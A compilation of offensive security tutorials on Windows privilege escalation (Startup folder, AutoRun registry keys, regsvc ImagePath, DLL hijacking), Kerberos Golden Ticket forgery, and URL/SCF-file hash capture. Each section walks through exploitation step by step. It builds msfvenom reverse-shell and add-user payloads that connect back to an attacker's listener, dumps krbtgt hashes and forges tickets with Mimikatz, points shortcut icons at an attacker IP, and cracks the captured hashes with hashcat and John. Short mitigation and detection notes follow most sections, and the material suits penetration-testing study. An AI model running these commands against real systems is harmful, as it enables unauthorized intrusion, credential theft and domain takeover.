[Privilege Escalation] StartUp Applications

Startup applications privilege escalation refers to the phenomenon where certain software or applications gain elevated privileges upon system boot, allowing them to execute commands or access resources that would typically be restricted to regular users or applications. This can pose a significant security risk, as it provides an avenue for malicious actors to exploit vulnerabilities in these applications to gain unauthorized access to sensitive data or perform malicious actions on the system.

When a user logs on to the system, there are two folders where programs automatically start (execute) from called the Startup folders. The Startup folders can be found in the following locations:

  • C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

The first folder is tied to the specific user logging on and only executes for that user. The second folder however is the machine startup folder, which means that any startup applications in that folder (executables or batch scripts) will execute when ANY user logs on to the system.


1. Check the permissions on the StartUp folders, notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.

  • icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Note: we are looking for on the folder are any one of the following three permissions:

  • (F) Full Control
  • (M) Modify
  • (W) Write

The user / group permissions we are looking for are the following:

  • The user we are currently logged in as (%USERNAME%)
  • Authenticated Users
  • Everyone
  • BUILTIN\Users

2. Identify it using Sysinternals AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • .\accesschk64.exe -wvud "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" -accepteula

WinPEAS (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

1. This can also be identified using WinPEAS script

  • .\winPEASx64.exe applicationsinfo



1. we can utilize either an EXE or a batch script to exploit this misconfiguration, we will craft a malicious BATCH file to execute it as any user that logs on. First, we will create our payload

  • msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=5555 -f exe > exploit.exe

2. Start a listener in your local machine

  • nc -lvp 5555

3. Transfer the file into the target machine

4. Place exploit.exe in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup".

  • move .\exploit.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  • cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  • dir

5. (OPTIONAL) Assign privileges to execute to Everyone

  • Right click on exploit.exe -> Properties -> Security -> Group or user names -> Edit
  • Add -> Everyone

5. Wait for someone to log in, check out your listener


  • Least Privilege Principle: Follow the principle of least privilege when configuring startup applications. Only grant necessary permissions and privileges to each application, limiting the potential impact of any security breaches.
  • Application Whitelisting: Implement application whitelisting policies to restrict the execution of unauthorized or untrusted applications during the startup process. This helps prevent malicious software from gaining elevated privileges on the system.









[Privilege Escalation] Registry Windows AutoRun

Windows allows users to set specific programs to automatically start whenever the system boots, the list of programs that have this functionality enabled is stored in the Windows Registry. Although this feature can be very handy if startup programs are setup with improper permissions it may allow attackers to escalate privileges, as these programs are executed in the context of the user who is logging in at that point in time.

Commonly known AutoRun registry:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

Registry keys known as Run and RunOnce are designed to automatically execute programs every time a user logs into the system. The command line assigned as a key's data value is limited to 260 characters or less.

Since we are only interested in the machine startup keys, these are the default keys we want to query:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

There are also some additional keys that do not exist by default; however, they should also be queried because they may have been manually created:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunEx
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx


1. First identify the type of architecture you are dealing with

  • systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

2. Download into the target machine Sysinternals AutoRun (https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns)

  • Click on Logon tab

Note: The objective for us as an attacker is to use this tool to find any outliers. Most of the time we will find that programs execute from some directory extended from the systemroot (C:\Windows), which will likely be un-writable; however, finding a program that executes from any another location is worth investigating.

3. Query this registry hive

  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


  • Get-Item -Path Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


4. Check the permissions on this program, we need to verify we can modify it. (“Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.)

AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • .\accesschk64.exe -wvu "C:\Program Files\Autorun Program"


  • icacls c:\program files\autorun program\program.exe

Note: What we are looking for on the executable is any one of three specific permissions:

  • (F) Full Control
  • (M) Modify
  • (W) Write

The user / group permissions we are looking for are the following:

  • Authenticated Users
  • Everyone
  • BUILTIN\Users

WinPEAS (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)


PowerUp (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)



1. Create a reverse shell payload, to replace the original program at the location

  • msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=7777 -a x64 --platform Windows -f exe -o program.exe

2. Start a local listener

  • nc -lvp 7777

3. Transfer the file into the target machine, and, move it into the target folder, in this case (C:\Program Files\Autorun Program)

Note: Remember to back up the original file.

4. Now wait for another user to log in, once, someone logs the listener should receive a connection back.

  • whoami


To mitigate the risks associated with Autorun-related registry manipulation, consider the following steps:

  • Least privilege principles: Assign privileges to user that must modify the binary files
  • Regular Registry Audits: Regularly audit the registry for unusual or unauthorized changes. Monitoring tools and scripts can help detect suspicious modifications to Autorun-related registry keys.
  • Restrict User Access: Limit user access to sensitive registry keys using permissions and access controls. Restricting write access to Autorun-related registry keys can prevent unauthorized modifications.
  • Disable Autorun: As mentioned earlier, disabling Autorun altogether can prevent malware from exploiting Autorun-related registry entries. This can be done through Group Policy settings or by modifying registry keys directly.
  • Use Antivirus and Endpoint Protection: Employ antivirus and endpoint protection solutions that monitor and block suspicious activity, including unauthorized modifications to the registry.






[Privilege escalation] Registry Service Account (regsvc)

The Regsvc service, also known as Remote Registry Service, enables remote access to the Windows registry. It allows users to connect to the registry of a remote computer and perform operations such as reading, writing, and modifying registry keys and values. While the service is designed to facilitate legitimate administrative tasks, it can be exploited by attackers to escalate privileges and compromise the security of a system.

An attacker can leverage this misconfiguration to modify the ImagePath of service with the path of the custom malicious executable that will give an escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Note: Service should be restarted to make changes effective.


1. Check access using Sysinternals AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • accesschk64.exe -kw hklm\System\CurrentControlSet\Services
  • accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
  • accesschk64.exe -kw hklm\System\CurrentControlSet\Services > result.txt
  • type result.txt | more


2. We can see that the NT Authority\Interactive has write access to the registry key “regsvc”. For further information regarding regsvc, we can query the registry by typing the following command:

  • reg query hklm\System\CurrentControlSet\Services\regsvc


Note: We can modify the ImagePath of the key and point it to our malicious custom executable.


1. As we know that the ImagePath is writeable, we create a windows TCP reverse shell using msfvenom on the attacking machine.

  • msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > malware.exe
  • msfvenom -p windows/adduser USER=hacker PASS=password -f exe > malware.exe

2. Transfer the file to the target machine, then store it in Temp folder

  • move malware.exe C:\Temp
  • dir

3. Start a listener in your local machine

  • nc -lvp 5555

4. Now, we will modify the ImagePath value for the regsvc registry and set it as the path of the custom executable “malware.exe”. This can be done by running the following command in the Windows command shell:

Move the file into the target location (C:\Program Files\Insecure Registry Service\)

  • reg add "HKLM\SYSTEM\CurrentControlSet\services\regsvc" /t REG_EXPAND_SZ /v ImagePath /d "C:\Temp\malware.exe" /f

5. Now verify it has been added to the registry

  • reg query hklm\System\CurrentControlSet\Services\regsvc

6. We can execute malicious payload by restarting\starting the service regsvc.

  • sc start regsvc
  • net start regsvc

7. We should now get the program executed, and, the reverse shell should be working

Remediation Strategies:

  • Access Controls: Restrict access to the Regsvc service and its associated registry keys to authorized users and administrators. Use strong authentication mechanisms and enforce the principle of least privilege.
  • DLL Safe Loading: Configure Windows to use safe DLL loading practices, which help prevent DLL hijacking attacks by specifying the exact locations from which DLLs can be loaded.
  • Monitoring and Logging: Implement robust logging and monitoring mechanisms to detect unauthorized access attempts to the Regsvc service and suspicious activities related to registry manipulation.
  • Disable Unnecessary Services: Disable the Regsvc service if it is not required for legitimate administrative tasks, reducing the attack surface and minimizing the risk of exploitation.


We can log windows event ID 4657 to detect any modification made to the registry keys. If modification occur in ImagePath, it will be refelected in event Id 4657.






[Privilege Escalation] DLL Hijacking

DLL Hijacking is a type cyberattack where a malicious actor takes advantage of a system’s search order for dynamic link libraries (DLL) to load and execute malicious code instead of legitimate libraries. In other words, it refers to tricking a program to load a harmful code library instead of the intended safe one. Before going into details, let’s take a look at DLL Files.

What is a DLL file?

DLL (stands for dynamic link library) is a file containing reusable code and data which multiple programs can use at the same time to perform different functions, improving efficiency and modularity in software development.

Imagine you have a box of LEGO bricks. Each brick functions as a unique tool that may be used for a variety of activities. Now, certain tools are kept in smaller boxes with names like “drawing tools,” “building tools,” and so on instead of everything being kept in one large box.

Similar to those smaller boxes with labeling are DLLs. It is a set of resources that various software applications may use. When a software requires a tool, it searches for it in the appropriate named box (DLL). As you would choose the appropriate LEGO set to discover the appropriate tool for the job. One DLL file can be used by different programs at the same time.

Dynamic-link library is Microsoft’s implementation of the shared library concept in the Microsoft Windows, so if you want to know more about this concept, you can search for “shared libraries”.

How DLL Works?

At this point we know what a DLL is and why it is used. Below let’s see how a DLL works after you click a program that requires it step by step.

Loading dll into memory

After you click on a executable (.exe), the operating system (OS) loads the program into memory and starts its execution. If the program requires a DLL, the operating system will first need to load the DLL into memory. This is done by searching for the DLL in a few different locations, such as the system directory, the program directory, and the current directory. Once the DLL is found, it is loaded into memory and made available to the program.

Load-time vs. run-time dynamic linking

When you load a DLL in an application, two methods of linking let you call the exported DLL functions. The two methods of linking are load-time dynamic linking and run-time dynamic linking. — From MS Learn

Load time linking

  • The linker resolves all the references to functions and variables in the DLL at compile time.
  • This means that the program can call functions in the DLL directly, without having to load the DLL into memory at runtime.
  • This makes executable file bigger, but makes the program faster.

Runtime linking

  • The linker does not resolve all the references to functions and variables in the DLL at compile time.
  • Instead, it creates a stub in the program’s executable file that calls the LoadLibraryEx function to load the DLL into memory at runtime.
  • The program can then call functions in the DLL by calling the GetProcAddress function to get the address of the function in the DLL.
  • This makes the program’s executable file smaller, but it also makes the program slower.
  • DLL Search Order
  • When you start an .exe file file that requires a DLL, The DLL loader (is a part of the operating system) starts searching for that specific DLL on the system. The files are searched according to certain rules, known as DLL Search Order.

The default DLL search order for Windows is as follows:

  • The directory from which the application is loaded.
  • The system directory. (example: “C:\Windows\System32")
  • The Windows Directory (“C:\Windows.”)
  • The current directory.
  • Directories Listed in the system PATH Environment Variable
  • Directories in the user PATH environment variable
  • The directories that are listed in the PATH environment variable.

That is the default search order with SafeDllSearchMode enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registry value and set it to 0 (default is enabled).

This concept is critical in DLL hijacking. During this process, we can inject our own malicious DLLs into locations where DLL Loader searches for the innocent DLL.

DLL Hijacking

After having an idea about DLL files and their working mechanism, we can dig into the concept of DLL hijacking.

What is the idea of DLL hijacking?

Most of the time the main idea is to exploit the search order that programs use to find and load DLLs. An attacker can mislead a software into loading harmful code instead of the genuine DLL by inserting a malicious DLL in a spot where the program looks for DLLs. This way an attacker can escalate privileges and gain persistence on the system.

there are several options, and the effectiveness of each depends on how the program is set up to load the necessary DLLs. Potential strategies include:

Phantom DLLs: It works by placing a fake malicious DLL with a name similar to a legitimate one in a directory where a program searches for DLLs, potentially causing the program to load the malicious phantom DLL instead of the intended legitimate DLL.

DLL replacement: In DLL replacement the attacker tries to swap out a legitimate DLL with a malicious one. It can be combined with DLL Proxying.

DLL Search Order Hijacking: In a search order hijacking attack, an attacker manipulates the order in which a program looks for dynamic link libraries (DLLs), allowing them to store a malicious DLL at a location that the program searches first, resulting in the malicious DLL being loaded instead of the genuine one.

DLL Side Loading Attack: Attackers may use side-loading DLLs to run their own malicious payloads. Side-loading includes controlling which DLL a program loads, similar to DLL Search Order Hijacking. However, attackers may directly side-load their payloads by putting a legitimate application in the search order of a program, then calling it to execute their payload(s), as opposed to just planting the DLL and waiting for the victim application to be executed.

Finding Missing DLL Files

Missing DLL files are a great opportunity for attackers to take advantage of their absence. If a DLL is missing from the system, they can try to place an imitation of the original DLL to use for their own purposes, including escalating privileges.


1. Automated scripts such as WinPEAS can also help identify Weak Permissions in services:

  • winpeas.exe quiet servicesinfo


2. It also tests the paths to know which ones are writable



Process Monitor can be used to track down failed DLL loadings in the system. Here’s how to do it step by step:

1. Download Process Monitor from (https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)

2. Run “pocmon.exe” as Administrator.

3. Click the filter button in the top.

4. You need to add two filters.

  • Result is NAME NOT FOUND Include
  • PATH ends with .dll Include

5. Click on Apply and OK

6. Now you can see a list of missing DLL’s in various processes. These load failures can be exploited by attackers in DLL Hijacking.

Note: It is important to meet these requirements for DLL hijacking

  • You can control the service
  • The location should be writable

If you are looking for missing dlls in general you leave this running for some seconds.

If you are looking for a missing dll inside an specific executable you should set another filter like "Process Name" "contains" "<exec name>", execute it, and stop capturing events.

Test file paths

1. Display the directories that are part of the environmental path

  • echo %PATH%

2. Test each of the directories looking for write permissions

  • acacls <folder>
  • acacls C:\Temp

NOTE: The main icacls permissions are as follows:

  • F – Full access
  • M– Modify access
  • RX – Read and execute access
  • R – Read-only access
  • W – Write-only access

3. You can also check permissions using SysInternals AccessChk

  • Accesschk.exe -accepteula -dqv [directory]
  • .\accesschk64.exe -accepteula -dqv C:\Temp


1. PowerUp helps you identify PATHs permissions

  • Invoke-AllChecks

Check the Service Info

1. We can also check all the services, and filter by the executable name found in ProcMon

  • wmic service get name,pathname,displayname,startmode | findstr /i dllhijackservice.exe

2. In order to list the services you can use

  • Get-Service

3. With the following command we can verify whether the current user has permission to restart the service

  • sc sdshow [service]
  • sc sdshow dllsvc

The initial “D:” stands for Discretionary ACL (DACL). The first letter after brackets means: allow (A) or deny (D), the next set of symbols are the assignable permissions:

  • CC — SERVICE_QUERY_CONFIG (request service settings)
  • LC — SERVICE_QUERY_STATUS (service status polling)

Note: In this case the current user has access to stop and start the service.

Exploiting Missing Dlls

In order to escalate privileges, the best chance we have is to be able to write a dll that a privilege process will try to load in some of place where it is going to be searched. Therefore, we will be able to write a dll in a folder where the dll is searched before the folder where the original dll is (weird case), or we will be able to write on some folder where the dll is going to be searched and the original dll doesn't exist on any folder.


  • Know the not found dll name: hijackme.dll
  • Know the path of the dll: C:\temp
  • Know you have permissions over the service and folder

1. The first step is to generate some shellcode using MSFvenom with the following flags:

  • msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=1111 -f dll > hijackme.dll

2. Start a listener in the local machine

  • nc -lvp 1111

3. Transfer the file into the target machine

4. Move the file into the target folder, in this case C:\Temp

  • move hijackme.dll C:\Temp

5. Assign permissions for everyone to execute

6. Now restart the service

  • sc stop dllsvc
  • sc start dllsvc

7. Check the listener


Specify Full Paths: Always specify the full path when loading DLLs in your code rather than relying on the system's search order. This ensures that the application loads the intended DLL from the expected location.

Use Safe DLL Loading Functions: When loading DLLs dynamically in your code, use functions like LoadLibraryEx with the LOAD_WITH_ALTERED_SEARCH_PATH flag or SetDllDirectory to explicitly specify the directories where DLLs should be loaded from. These functions allow you to control the search order and mitigate DLL hijacking vulnerabilities.

Avoid Loading DLLs from Insecure Locations: Avoid loading DLLs from directories that are writable by standard users or that are commonly targeted by attackers (such as the current working directory or temporary directories).










[Active Directory] Kerberos Golden ticket

With Kerberos, users never directly authenticate themselves to the various services they need to use, such as file servers. Instead, the Kerberos Key Distribution Center (KDC) functions as a trusted third-party authentication service. Every domain controller in an Active Directory domain runs a KDC service.

The KDC issues a ticket granting ticket (TGT), which includes a unique session key and a timestamp that specifies how long that session is valid (normally 8 or 10 hours). When the user needs access to resources, they don’t have to re-authenticate; their client machine simply sends the TGT along to prove that the user has already been recently authenticated.

Kerberos Golden Ticket hacking is a sophisticated attack that exploits weaknesses in the Kerberos authentication protocol, which is widely used for securing authentication in various network environments. In this attack, adversaries create a forged Kerberos Ticket Granting Ticket (TGT), referred to as a "Golden Ticket," allowing them to gain unauthorized access to a network and impersonate any user without the need for valid credentials.


Privileged Access:

  • The attacker needs elevated privileges to access the KDC database or extract password hashes, often obtained through a successful compromise of an administrative account.

In a Golden Ticket attack, hackers bypass the KDC and create TGTs themselves to get access to various resources. To forge a TGT, hackers need four key pieces of information:

  • The FQDN (Fully Qualified Domain Name) of the domain
  • The SID (Security Identifier) of the domain
  • The username of the account they want to impersonate
  • The KRBTGT password hash

Exploitation (Mimikatz)

1. After compromising the domain controller, use mimikatz to dump the krbtgt hash

  • lsadump::lsa /inject /name:krbtgt
  • privilege::debug

2. Grab the following (NTLM, SID domain)

  • NTLM : 43ee24a65422dd3e241dda802463c4de
  • Domain : LAB / S-1-5-21-2564449761-2250179813-2142005236
  • aes256_hmac (4096) : 20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea

3.. Generate the Kerberos ticket, assigned to a real user, use the admin account RID (default 500), and set ptt

  • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500 /ptt
  • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500,513,2668 /ptt /aes256:20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea
  • kerberos::golden /domain:lab.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:43ee24a65422dd3e241dda802463c4de /user:newAdmin /id:500 /ptt

  • /domain — The FQDN of the domain
  • /sid — The SID of the domain
  • /aes256 — The AES-256 password hash of the KRBTGT user (alternatively, /ntlm or /rc4 can be used for NTLM hashes, and /aes128 for AES-128)
  • /user — The username to be impersonated
  • /groups — The list of groups (by RID) to include in the ticket, with the first being the user’s primary group
  • /ptt — Indicates that the forged ticket should be injected into the current session instead of being written to a file

4. Once, the ticket has been generated you can run commands to remote machines, with this command you will open a new CMD

  • misc::cmd

5. List the available tickets

  • klist

5. Test connecting to another machine

  • dir \\client-2\c$

Because the TGT is signed and encrypted with the real KRBTGT password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.

As the adversary discovers more about the environment, they can continue to mint tickets for accounts with specific group membership to access any application, database or other resource that uses Active Directory for authentication and authorization.


Regularly Rotate Kerberos Service Account Passwords

Minimize the number of accounts that can access the KRBTGT password hash.

Minimize opportunities for hackers to steal privileged credentials.

Monitor and Audit KDC Logs

Regular Security Audits

Detection Methods for the Golden Ticket Attack

Event ID 4769 - A Kerberos Service Ticket was requested.

  • Key Description Fields: Account Name, Service Name, Client Address

Event ID 4624 - An account was successfully logged on.

  • Key Description Fields: Account Name, Account Domain, Logon ID

Event ID 4627 - Identifies the account that requested the logon.

  • Key Description Fields: Security ID, Account Name, Account Domain, Logon ID










[Active Directory] URL file attacks

A URL file attack captures account hashes via a user accessing a folder that contains a specially crafted file that forces the user to request an icon off the attackers machine. The resource does not exist though. The act of initiating a connection to the attackers machine is how the hash is captured. Also note that the user does not need to open the file, nor is their any indication that anything has happened behind the scenes. They just need to open the folder that the file is located in which makes this a perfect for shared folders.

This attack is only applicable to intranet communication and does not work with outside network.

This is a post compromise attack and following are the conditions

  • There is a file share accessible across the network
  • Attacker has compromised at least one machine which has access to the file share with write permissions

1. Create The File

The file name must begin with either a “@” symbol or a “~” symbol and the filetype must be “url”. Example: “@readme.url”

2. Contents of the file

IconFile=\\<attacker IP>\%USERNAME%.icon


The same can be done with an scf file. Example: @readme.scf

IconFile=\\<attacker IP>\Share\test.ico


  • [InternetShortcut] is a header line that specifies the file type and indicates that the following lines are instructions for an internet shortcut
  • URL=anyurl specifies the URL of the website or web page that the shortcut should launch. The actual URL should be provided in place of the “anyurl” placeholder
  • WorkingDirectory=anydir specifies the default working directory for the shortcut. In most cases, this will be the directory in which the shortcut file is located. You can replace the “anydir” placeholder with the full path of the directory, if necessary
  • IconFile=\\x.x.x.x\%USERNAME%.icon specifies the location of the icon file to use for the shortcut. The icon file can be stored on a remote computer, which is specified by the IP address “x.x.x.x”. The “%USERNAME%” placeholder is replaced with the current user’s username. The “.icon” extension specifies the type of file that contains the icon data
  • IconIndex=1 specifies which icon in the specified icon file should be used for the shortcut. In this case, the number “1” references to the first icon in the file for use. If the icon file contains multiple icons, choose the number accordingly to select a different icon


1. Connect to a share and drop the file (.url or .scf) (@readme.url or @readme.scf) @ in the name sets the file at the top, make sure the file has the proper file type

2. Start responder with HTTP and SMB is turned ON

  • sudo responder -I eth0 -w -b -v -F

3. Wait for someone to connect to the share, and, you’ll get data back

Cracking with hashcat

1. Identify the hash type number using (https://hashcat.net/wiki/doku.php?id=example_hashes)

  • search NTLMv2


2. Knowing the hash ID from https://hashcat.net/ we can proceed to use the hash file, and a wordlist

  • hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt


Note: as you can see Status: Cracked, and the password is displayed next to the hash, Password: Kyuubi123

Cracking using John

1. Identify the hash type using --list=format

  • john --list=formats | awk -F", " '{for (i=1; i<=NF; i++) print $i}' | grep -i ntlm


2. Run john against our hash file, set the hash type and the wordlist

  • john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 hash.txt